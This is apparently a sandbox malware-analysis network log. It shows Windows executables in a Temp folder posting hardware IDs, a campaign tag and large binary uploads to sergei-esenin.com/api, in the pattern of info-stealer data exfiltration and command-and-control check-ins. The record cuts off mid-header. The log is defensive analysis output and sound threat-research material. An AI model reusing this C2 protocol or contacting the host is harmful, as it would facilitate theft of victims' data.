2024-10-21 08:47:54 UTC	1026	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f2sa011tctnhc584s6480if5ud; expires=Fri, 14 Feb 2025 02:34:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y67zKA6c4iRRsZ%2BYwKHL7N5%2Fu8rJzelxZi30%2BPH%2FMoTQwIbBpEmHDK0bw%2BJo3Pzem6JQxG9QdBdqG8IhRq0WxdZZ25bDtygT%2BY3z6uM%2BIaJk8uWKi8%2FiId4jTVuMENwrLpGA0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc4c1b6b46c8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1030&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=2732075&cwnd=249&unsent_bytes=0&cid=46b54b4336b3693d&ts=701&x=0"
2024-10-21 08:47:54 UTC	307	IN	Data Raw: 31 32 63 0d 0a 35 34 2f 34 7a 62 51 47 78 4e 77 45 62 53 52 6c 75 68 78 4d 2b 77 73 4f 32 5a 2f 7a 61 49 77 56 71 44 55 2b 7a 41 72 57 45 65 79 38 39 4e 71 34 6c 6a 7a 6d 74 48 41 5a 56 46 2f 6d 4d 78 44 55 4f 6a 62 73 73 63 46 5a 75 54 75 5a 42 41 33 69 4f 2b 42 4e 77 34 72 6d 6c 71 6a 6f 4b 62 61 39 61 67 6c 4c 43 4a 52 35 4e 4a 34 70 49 76 76 35 68 30 71 32 4a 59 51 58 57 2b 34 77 35 6d 7a 41 6e 4b 32 4e 37 34 34 6b 72 4b 68 77 48 52 34 35 6c 55 42 6a 79 6a 4d 37 39 36 33 43 58 61 49 6b 6d 51 59 51 2f 54 79 4b 50 70 2b 54 36 70 6d 67 36 43 6d 32 76 57 6f 4a 53 77 69 55 65 54 53 65 4b 53 4c 37 2b 59 64 4b 74 69 57 45 46 31 76 75 4d 4f 5a 73 77 4a 79 74 6a 65 2b 4f 4a 4b 79 6f 63 42 30 65 4f 5a 56 41 59 38 6f 7a 4f 2f 65 74 77 6c 32 69 4a 4a 6b 47 45 50 Data Ascii: 12c54/4zbQGxNwEbSRluhxM+wsO2Z/zaIwVqDU+zArWEey89Nq4ljzmtHAZVF/mMxDUOjbsscFZuTuZBA3iO+BNw4rmlqjoKba9aglLCJR5NJ4pIvv5h0q2JYQXW+4w5mzAnK2N744krKhwHR45lUBjyjM7963CXaIkmQYQ/TyKPp+T6pmg6Cm2vWoJSwiUeTSeKSL7+YdKtiWEF1vuMOZswJytje+OJKyocB0eOZVAY8ozO/etwl2iJJkGEP
2024-10-21 08:47:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50122	172.67.206.204	443	6316	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:55 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=3JeFFmIqrglsftFHNCl0c56gP6GNbVF2QtgCiUsDkWs-1729500453-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29574 Host: sergei-esenin.com
2024-10-21 08:47:55 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:55 UTC	14243	OUT	Data Raw: 08 2a 40 d5 15 bc a3 14 96 1b 59 e7 f3 0d 82 16 5a 1a 87 f0 c2 a0 61 e1 bb b5 85 a4 a2 be b7 6e dc 5a 89 c9 6f 0d 37 33 24 7c f5 12 29 1e 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df 7a Data Ascii: *@YZanZo73$\|)PQKnm7>5OEK?6V,i<0egW\ro`#R\\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_\|x5mDom;z
2024-10-21 08:47:55 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=95gfot1pgva45e596qhuvogrer; expires=Fri, 14 Feb 2025 02:34:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dY1puIoTy9qnzGCrWrf0TsHX4mQ5a%2BnmeYNfYa0FyvyhpDlAhfMVn5TXlVsfORO%2BBNborjCEbUn%2BWyAaoScR6ElkUyIqcnf41Raz50TsbE0WlFWVlRpxbSmN8vQ3Tue0%2Ft7RVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc51be4c2e5a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1517&sent=16&recv=36&lost=0&retrans=0&sent_bytes=2845&recv_bytes=30648&delivery_rate=1867182&cwnd=250&unsent_bytes=0&cid=659a8fe87e525a16&ts=733&x=0"
2024-10-21 08:47:55 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50124	172.67.206.204	443	6316	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:56 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=3JeFFmIqrglsftFHNCl0c56gP6GNbVF2QtgCiUsDkWs-1729500453-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-21 08:47:56 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=D1971A1CD62E1B8D4C166F146C215A77
2024-10-21 08:47:57 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bit8lk4ebricur26p321tgfd4k; expires=Fri, 14 Feb 2025 02:34:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qqXRtRiuuaHc%2BcjgT1QHDvirYtTZ3gQALt9mhheEg6xZIVD3V04Q85WFKwQgC0qngDdoNWJsLWoCE9u2l081%2F69HPZzei5Ytw14JrRalcT%2FzCAEvzKeqAUmvtLgCGxqGPjITog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc5c7932b798-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1471&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=2170914&cwnd=203&unsent_bytes=0&cid=1327a9b7df743b1a&ts=549&x=0"
2024-10-21 08:47:57 UTC	307	IN	Data Raw: 31 32 63 0d 0a 31 66 69 63 50 49 71 57 77 47 35 49 37 44 7a 35 53 2f 5a 58 6b 6a 36 77 4c 4a 62 55 6b 2b 6f 33 47 66 47 6f 4a 54 5a 4f 54 37 4b 4f 67 37 35 4a 71 4b 7a 69 42 6a 79 59 54 4d 4d 58 32 51 75 39 44 34 67 5a 75 4f 61 69 33 78 6b 6f 77 4a 73 4c 42 33 67 54 6e 62 69 52 38 6c 6e 57 75 62 49 50 4a 6f 68 54 6c 47 57 54 4c 2f 63 63 6e 41 37 77 6f 4c 48 51 42 7a 58 54 7a 51 63 4d 66 6a 4b 65 72 74 72 70 48 72 43 30 71 42 6f 38 6e 41 61 6c 5a 4b 70 34 6f 77 61 46 41 71 54 6c 70 73 51 47 4b 4d 4b 47 46 41 41 53 59 4d 47 68 6e 66 31 52 31 72 6d 79 44 79 61 49 55 35 52 6c 6b 79 2f 33 48 4a 77 4f 38 4b 43 78 30 41 63 31 30 38 30 48 44 48 34 79 6e 71 37 61 36 52 36 77 74 4b 67 61 50 4a 77 47 70 57 53 71 65 4b 4d 47 68 51 4b 6b 35 61 62 45 42 69 6a 43 68 68 Data Ascii: 12c1ficPIqWwG5I7Dz5S/ZXkj6wLJbUk+o3GfGoJTZOT7KOg75JqKziBjyYTMMX2Qu9D4gZuOai3xkowJsLB3gTnbiR8lnWubIPJohTlGWTL/ccnA7woLHQBzXTzQcMfjKertrpHrC0qBo8nAalZKp4owaFAqTlpsQGKMKGFAASYMGhnf1R1rmyDyaIU5Rlky/3HJwO8KCx0Ac1080HDH4ynq7a6R6wtKgaPJwGpWSqeKMGhQKk5abEBijChh
2024-10-21 08:47:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50127	172.67.206.204	443	7704	C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:59 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=JMeye5BWJnsQ8aDxE6nf3zaPx8nKyzkpPxnbMUjw584-1729500459-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569321 Host: sergei-esenin.com
2024-10-21 08:47:59 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:59 UTC	15331	OUT	Data Raw: 6e 7c 78 0a db 8f 97 d6 c3 da 28 61 7f 9a 35 c4 44 90 da 8c 20 88 cc b1 59 0b 3f 3a c5 fa ee 71 8c 32 93 30 f0 24 4e 09 48 79 f3 df 7f 6a 11 f2 01 fc ae 8a 15 a6 12 2b a5 19 4b 00 49 4f c2 82 29 8f c3 5e 01 b6 99 02 f8 5d 78 ad ef 30 0e c9 e8 6d 85 d7 18 43 e7 25 69 f8 dd 64 17 11 70 46 1d 0b e3 b8 d8 35 6b 74 a8 e2 f6 d5 fd 5c b7 ed 20 35 c8 f1 ff ad 52 d2 7c 80 6e bf 2b b8 83 06 f5 64 72 4f 10 f0 da c2 c1 02 34 05 e7 b4 b0 f0 12 33 76 4f 5a a9 00 c4 fb 73 c1 28 f5 18 83 b7 60 68 db 66 09 31 0e 49 f5 0a 83 4b 89 69 0e 6e 38 d0 20 cf 0b 30 46 c7 6c cf 70 28 81 e4 54 60 ea 76 7e 91 26 cd 6f f3 73 72 d8 c3 2f 46 4c d1 4e 29 2f 47 2e 14 3d 62 1c ff 6a 71 4a 85 37 ad 15 47 ad 30 95 d5 18 82 65 7a 8a 10 1b c0 fb 51 54 8c 29 b8 80 61 51 52 b6 1a fc 5d e4 39 b5 Data Ascii: n\|x(a5D Y?:q20$NHyj+KIO)^]x0mC%idpF5kt\ 5R\|n+drO43vOZs(`hf1IKin8 0Flp(T`v~&osr/FLN)/G.=bjqJ7G0ezQT)aQR]9
2024-10-21 08:47:59 UTC	15331	OUT	Data Raw: 36 ff be ac bb e8 bd 69 3b a5 08 d2 9e 44 e6 41 49 6e be 88 ea 69 34 f7 4a c2 ef 5b e2 99 cc aa 5f ae 0a fa a7 85 8a 84 17 0b 23 9a d5 74 22 8a 2a 11 92 b7 ac 8c a4 b1 8f 23 6d cc 9c 5e 4d 67 b4 ff 5a 83 e6 10 96 37 0a 4a 61 5f d4 5b e5 36 09 38 72 53 61 2c 7f 22 a2 85 22 11 ec 25 41 3b f5 00 d7 f1 02 41 45 ca 0c 83 bd 52 91 25 a6 6b 99 8f 86 4d c5 68 95 f1 e9 67 95 eb 92 21 02 c4 3d dd ef f2 9b e8 26 53 b0 50 8c 96 ea 43 bc 5c e1 0b 8d d9 0f 85 22 63 bb 27 0d 81 0f 12 fd a6 4e 29 02 31 41 25 d7 94 62 74 d0 3d 83 e1 42 b3 5f 8c a6 07 3b d6 e9 25 16 fb 3b cf 33 25 d1 e1 82 bc 7d f5 f4 bf 54 5d bf c7 51 18 06 65 9c b9 39 23 bf d5 37 c7 2c 39 03 d2 08 bf f3 15 b9 b9 6e 06 11 ae b5 23 54 eb fb 03 e4 3d 5d d7 23 28 57 ce 70 5d de e0 a1 d1 57 f3 53 df c5 2e 57 Data Ascii: 6i;DAIni4J[_#t"*#m^MgZ7Ja_[68rSa,""%A;AER%kMhg!=&SPC\"c'N)1A%bt=B_;%;3%}T]Qe9#7,9n#T=]#(Wp]WS.W
2024-10-21 08:47:59 UTC	15331	OUT	Data Raw: 2f 83 ae 34 1b 92 bf 4b 50 91 57 23 12 d3 ef 06 4d 62 af 17 f7 68 70 84 77 8e 32 9d 77 95 a7 d0 f7 62 8f 61 a8 a5 57 f7 16 4d 54 1d 1a 29 6e d0 3e 39 88 10 77 f7 0e 50 7d a1 cb e9 f7 96 21 45 5f fd f6 a4 c4 76 e9 ab 3d f5 e2 d2 b3 ab 61 c0 36 06 35 c7 36 6b cd 2b 01 18 ea ef bb 1f 8f bc 62 ba f4 05 67 a0 0e b4 cc 37 ef 7b b4 4e b8 1a ae 94 9a e2 6d 1d 8c f2 df 5d 9b fa 8b a0 9b 22 28 fe 22 76 c0 17 9c b1 f9 af 68 72 f4 7a 47 9d 51 ce d2 44 b3 d5 f6 52 d1 47 27 5e 72 b4 fc ee 92 9a 4f 5c b3 9d f3 e1 d7 0b ef fd f7 32 64 87 05 ef 50 dc 3e a0 7b 91 9f 1f 72 a4 1f 10 fe ab a5 a4 6e 6e 72 2e 52 5d 43 97 ec 3e de e8 8d 5a 12 b9 89 f6 b8 e7 9a 24 94 d4 a0 27 68 e6 02 c6 da d4 98 4a dd de 82 e0 da 12 ec 3c 4a dd 3c 2e 43 27 0c 6e f9 dd 39 f9 b9 1b c7 ec 69 3f 5a Data Ascii: /4KPW#Mbhpw2wbaWMT)n>9wP}!E_v=a656k+bg7{Nm]"("vhrzGQDRG'^rO\2dP>{rnnr.R]C>Z$'hJ<J<.C'n9i?Z
2024-10-21 08:47:59 UTC	15331	OUT	Data Raw: eb 48 92 86 23 0f a6 4f 26 37 12 8f a2 7a c3 d9 a8 a0 15 89 aa 0f ef 5d 36 03 a6 87 f1 66 04 f1 dd ae 80 d0 b2 c6 2d 65 86 f4 43 e2 f4 62 26 6f c2 a6 fa fe 5c 1c dc 3c a8 23 dc e5 ab 75 9a e3 23 65 34 de e6 e0 55 4e ce 59 f0 1a 1a 79 a1 ba 54 9b 5c 55 96 84 8e 3d a0 3a 62 c1 b1 09 de ef ec 22 2f b6 7b 67 4f 2b d3 ed 21 b7 59 b3 32 ef c9 df 63 25 19 f0 aa c0 cd ea 0c d7 5c 88 b7 8c e8 45 18 cc 71 c1 1f 66 0c 6e ee 45 08 01 a3 89 5c a8 8e 08 f4 5e 9f e1 23 0e 8e ab d9 ec 40 9e 87 d2 1b a2 fe 57 26 6d 91 41 01 b7 bd 26 9d 8a ee 23 c1 87 7b 99 4d 3c 60 88 e2 38 6a ad ea 82 11 de 79 f7 fe d3 e1 f7 da a6 fe 5a 92 0e f7 8f 48 da dc 53 79 af 6c 4e 4a f7 43 ff 7d 40 6b 5a 38 99 b0 02 31 fc 13 a9 7c ff ff 57 72 43 12 94 8e f1 c0 79 60 f1 cf c0 25 99 c5 37 42 8c aa Data Ascii: H#O&7z]6f-eCb&o\<#u#e4UNYyT\U=:b"/{gO+!Y2c%\EqfnE\^#@W&mA&#{M<`8jyZHSylNJC}@kZ81\|WrCy`%7B
2024-10-21 08:47:59 UTC	15331	OUT	Data Raw: 53 58 e7 45 8b 2d e2 86 1e 46 2b 35 7b 16 3c ab af 15 df ac d9 5c 21 2b 61 28 10 64 86 9c 52 6c b4 f4 cc 8e 94 2d 05 e8 de 1e 5e d3 5e b2 bd 95 58 21 dc 20 48 69 72 e3 7b 39 71 b6 73 72 69 6d c8 c6 ad 62 7e 9d 59 84 9c 53 9d 84 70 53 39 b2 c2 a2 f1 f3 72 0d b6 5a be d0 c5 9e 50 20 f7 2c aa 90 d4 68 60 e0 2b f0 e3 60 4b 20 55 5d b9 d5 5b bb 36 01 8a f7 de f6 79 96 a6 85 0c 2c d8 7e b5 a3 56 c4 5a 86 11 80 d8 55 eb 8c 52 0e d7 e7 d8 76 71 4c e9 17 c2 80 a0 1b 63 f7 f8 7a ee 1f b9 bb 35 e9 54 af d8 5d e4 ec d1 96 2c 54 a2 12 6d 28 66 3f de 77 f9 a3 91 cd 37 7d cf 02 41 43 8d a6 b0 2d be b0 d3 6d 7c c5 f9 86 b3 8e b1 bd 15 db 0f 7e 04 19 fe 10 3a e7 2c fb ab 2e f1 19 f4 bb 04 9b 5b 99 88 21 80 07 43 05 f4 d6 b6 41 79 5b ee 0f 57 48 38 1b d1 3b 88 5b bf 45 2f Data Ascii: SXE-F+5{<\!+a(dRl-^^X! Hir{9qsrimb~YSpS9rZP ,h`+`K U][6y,~VZURvqLcz5T],Tm(f?w7}AC-m\|~:,.[!CAy[WH8;[E/
2024-10-21 08:47:59 UTC	15331	OUT	Data Raw: 37 19 91 73 97 e4 0b 96 87 4a d9 9f 10 1a 27 46 55 d0 db 3e 13 b2 e3 f5 12 d8 43 9b dc f5 3a a9 c2 62 b9 2f 4a d9 3f d6 4c 70 39 17 c8 10 b1 98 8d 44 1e c2 c8 f2 36 cb da 85 4c af ff 2c a7 c8 89 92 77 75 3d 67 95 fc 7f 6d 15 3f 71 b2 08 f8 7a e7 70 5e 5c 95 c7 9b 7d 6d 81 71 ba 7d df 90 78 77 ee 5b 55 d6 b0 44 13 ec c2 a9 12 64 a4 20 c8 43 07 56 97 66 24 a5 71 82 90 1b a8 73 9b 29 48 dd cd 86 4d 94 3b dc aa 7a 28 fa e3 22 20 ac 7a 07 81 5b 38 99 d9 cc 09 0e 54 c9 ff b6 ec 95 8d 8f 5e 32 e0 da 9d e5 21 59 2f 53 ff fa d7 c7 8f 90 3f 76 c6 67 03 09 e2 bd 37 70 8b 38 64 f9 2d c7 34 f7 b9 92 f8 6a bc a2 15 2d 89 b1 fe 33 13 1f f9 64 33 34 05 91 7c 9b 85 d9 1c b7 25 0d 25 14 68 23 e1 e6 03 56 a4 09 3a 2b 77 56 4b bf cd 47 b3 7e 46 89 de 44 03 dc e6 ea cf 34 96 Data Ascii: 7sJ'FU>C:b/J?Lp9D6L,wu=gm?qzp^\}mq}xw[UDd CVf$qs)HM;z(" z[8T^2!Y/S?vg7p8d-4j-3d34\|%%h#V:+wVKG~FD4
2024-10-21 08:47:59 UTC	15331	OUT	Data Raw: e3 cd e2 b0 f6 df 84 eb 97 63 b9 67 0f 60 2f 20 36 12 a6 ae e0 af a1 fc 90 36 05 33 59 74 bc c8 30 0a 64 f7 25 3c a4 d4 c3 4a fc c0 da 88 59 77 07 49 d0 7d 87 fa 93 48 08 91 43 cc 3b 51 0f 04 cc c1 eb 86 f3 d7 42 61 c2 f3 10 7d fe c4 c5 a1 0a 87 d1 bc 74 82 88 26 43 21 5d f1 35 39 c1 d3 14 36 ad 87 cb a4 ba a8 dc 77 d3 36 17 c3 30 30 81 ec cc f7 ab fd bf ed 69 2d 7a 99 3f 12 36 01 cf 81 b9 e7 28 58 76 fe cc f8 0b 2c cc 87 e3 5d 94 c6 76 8e 4f cc b9 b2 ed 07 22 0d 88 da 28 33 b1 be a2 1b f6 b5 2e 4a e9 73 e3 29 66 17 14 2f 29 65 18 cc a9 b7 b9 c6 da d7 10 e5 43 f5 2e 09 c6 93 f9 01 af c0 7a 6c d5 51 d7 fa 4e b3 a6 f1 fd 21 8e 52 01 48 cc 2a 5f 51 2f fd 81 a7 3f 09 7b 7d df a2 37 94 8c ec 4e 8d 6b a9 e1 3d 11 0d 34 9b 4f 83 df ca 57 f5 4b 3c 39 2f ca 1e 1c Data Ascii: cg`/ 663Yt0d%<JYwI}HC;QBa}t&C!]596w600i-z?6(Xv,]vO"(3.Js)f/)eC.zlQN!RH*_Q/?{}7Nk=4OWK<9/
2024-10-21 08:47:59 UTC	15331	OUT	Data Raw: d7 4d dd 8a 25 05 dd 91 6c ff 81 a6 9f 77 3e 69 3b 86 c5 10 5c fd 28 c9 fa f8 71 97 64 62 e9 be ae df f9 e3 cf d0 25 4c f7 f5 93 be 3d 51 85 9a 17 89 fb 7b 00 7d 30 13 a1 25 41 cc 7c 59 50 75 79 3f 80 ff e5 05 d1 06 93 ee 95 39 6b 2f 13 5b c8 da 58 ae 03 ea bb 26 8f c0 76 33 87 19 29 70 75 b7 a9 3c 44 8a 87 83 90 65 c2 19 96 ee a3 c9 f0 6b 32 2f c6 2e 48 62 89 53 7c 1d bf 12 fc 16 84 5b 09 88 48 37 3f 8f f9 07 2a dc b9 3d 15 ea 9d 0e 1d 4b 90 65 36 ae d3 44 f0 bb 64 e1 77 00 e5 36 94 14 bb 75 f0 79 08 11 7f 83 71 31 d9 76 b6 bb 68 58 8f 2d 23 2c e4 c6 3d 78 6d b4 40 38 4a a5 13 70 27 e6 c2 8f 12 60 2d c3 5f 73 4c ce 2b 9d b6 86 68 09 51 21 48 79 23 50 87 2a 4c 10 a1 13 f6 5d aa 7f 00 f1 43 7c fc 82 12 df 6a 0e 3c 8a 95 7f fa 09 1c e8 fd da 94 8f 32 6b 08 Data Ascii: M%lw>i;\(qdb%L=Q{}0%A\|YPuy?9k/[X&v3)pu<Dek2/.HbS\|[H7?=Ke6Ddw6uyq1vhX-#,=xm@8Jp'`-_sL+hQ!Hy#PL]C\|j<2k
2024-10-21 08:47:59 UTC	15331	OUT	Data Raw: 71 e9 42 d9 b5 d1 fb df 32 ae 4b db 52 af b5 17 03 ae 87 63 80 cf 64 9f 4b 08 25 98 f3 7c bd 9f 5c 1f a1 96 aa 74 58 5b 5a b9 4e 6b bc 9c f9 fb c9 b9 d0 f6 7d 01 9c a3 66 2b 5e 88 0d c0 3e da 22 dd ff 1f a0 cc 3e d7 7a 54 68 0c d2 cd 19 1b 7a fb 9f 6e 1f 87 8d ef 82 ba 05 d9 fc 73 d5 f7 0f df 92 20 6c 37 0a e0 f6 42 64 7e 28 63 4f f4 50 6c be 91 1d 0a 86 c3 6c 77 6f b3 f4 e7 ac 5b 3f 83 eb 43 78 b9 53 58 76 41 f6 d1 fd d2 cc 5b 0d 6a 36 a7 91 b5 8d 71 df 5f fa e6 78 29 80 3d 78 4e 40 64 d5 62 8c d4 49 27 5f ee 87 66 57 07 59 5a d1 84 05 3f 59 9c f3 f8 ab f9 6d 80 9f 40 fc 35 42 0c c2 05 e3 b6 7e 3d bb 34 9a 24 42 f1 85 cc 1d f3 33 10 32 0f eb 45 77 08 36 65 69 1d 02 87 ad d3 6b 6b 8c 56 03 d3 9a d0 a6 a5 18 7e 7a 23 0f c5 dc a4 98 7b 9e 65 ad 27 7d ba 9e Data Ascii: qB2KRcdK%\|\tX[ZNk}f+^>">zThzns l7Bd~(cOPllwo[?CxSXvA[j6q_x)=xN@dbI'_fWYZ?Ym@5B~=4$B32Ew6eikkV~z#{e'}
2024-10-21 08:48:02 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:48:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=78u2bsefntett2devqec74jtcr; expires=Fri, 14 Feb 2025 02:34:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CIHQjkjGy3MkHgPGf9fT2l8TLKLoWUc1AUpVfFsNhm10y4OAnGkxi%2BiI0F166I5mFK2QDyklmjTLttYg0rjvCgaIpZj%2FG53F54KqaP4kSP7WVyCOw9hYMrvpmOK9lMIAk9C%2ByQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc6bc9eaea8c-DFW alt-svc: h3=":443"; ma=86400 server-timing: 